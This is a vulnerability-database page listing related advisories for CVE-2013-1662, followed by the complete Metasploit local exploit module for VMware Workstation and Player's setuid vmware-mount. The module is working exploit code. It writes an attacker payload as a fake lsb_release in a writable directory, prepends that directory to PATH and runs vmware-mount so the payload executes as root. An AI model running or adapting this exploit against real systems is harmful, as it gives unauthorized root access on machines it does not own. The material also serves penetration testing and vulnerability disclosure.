Lucene search
K

VMWare Setuid vmware-mount Unsafe popen(3)

🗓️ 27 Aug 2013 04:29:16Reported by Tavis Ormandy, egypt <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 49 Views

VMWare Setuid vmware-mount Unsafe popen(3). VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that invokes lsb_release in the PATH with popen(3)

Related
Code
ReporterTitlePublishedViews
Family
0day.today
VMWare Setuid vmware-mount Unsafe popen(3)
29 Aug 201300:00
zdt
Circl
CVE-2013-1662
22 Aug 201300:00
circl
CVE
CVE-2013-1662
24 Aug 201301:00
cve
Cvelist
CVE-2013-1662
24 Aug 201301:00
cvelist
Exploit DB
VMware - Setuid VMware-mount Unsafe popen(3) (Metasploit)
29 Aug 201300:00
exploitdb
EUVD
EUVD-2013-1691
7 Oct 202500:30
euvd
NVD
CVE-2013-1662
24 Aug 201301:55
nvd
Packet Storm
VMWare Setuid vmware-mount Unsafe popen(3)
29 Aug 201300:00
packetstorm
Prion
Design/Logic Flaw
24 Aug 201301:55
prion
RedhatCVE
CVE-2013-1662
22 May 202500:28
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
          'Description' => %q{
            VMWare Workstation (up to and including 9.0.2 build-1031769)
            and Player have a setuid executable called vmware-mount that
            invokes lsb_release in the PATH with popen(3). Since PATH is
            user-controlled, and the default system shell on
            Debian-derived distributions does not drop privs, we can put
            an arbitrary payload in an executable called lsb_release and
            have vmware-mount happily execute it as root for us.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Tavis Ormandy', # Vulnerability discovery and PoC
            'egypt' # Metasploit module
          ],
          'Platform' => [ 'linux' ],
          'Arch' => ARCH_X86,
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DefaultOptions' => {
            'PrependSetresuid' => true,
            'PrependSetresgid' => true,
            'PrependFork' => true
          },
          'Privileged' => true,
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2013-1662' ],
            [ 'OSVDB', '96588' ],
            [ 'BID', '61966'],
            [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
            [ 'URL', 'http://web.archive.org/web/20130831060036/http://www.vmware.com:80/support/support-resources/advisories/VMSA-2013-0010.html' ],
            [ 'URL', 'https://www.rapid7.com/blog/post/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
          ],
          'DisclosureDate' => '2013-08-22',
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
    ]
  end

  def vmware_mount
    '/usr/bin/vmware-mount'
  end

  def check
    return CheckCode::Safe("#{vmware_mount} file not found") unless file? vmware_mount
    return CheckCode::Safe("#{vmware_mount} is not setuid") unless setuid? vmware_mount

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
    end

    lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
    write_file(lsb_path, generate_payload_exe)
    cmd_exec("chmod +x #{lsb_path}")
    cmd_exec("PATH=#{datastore['WritableDir']}:$PATH #{vmware_mount}")
    # Delete it here instead of using FileDropper because the original
    # session can clean it up
    cmd_exec("rm -f #{lsb_path}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation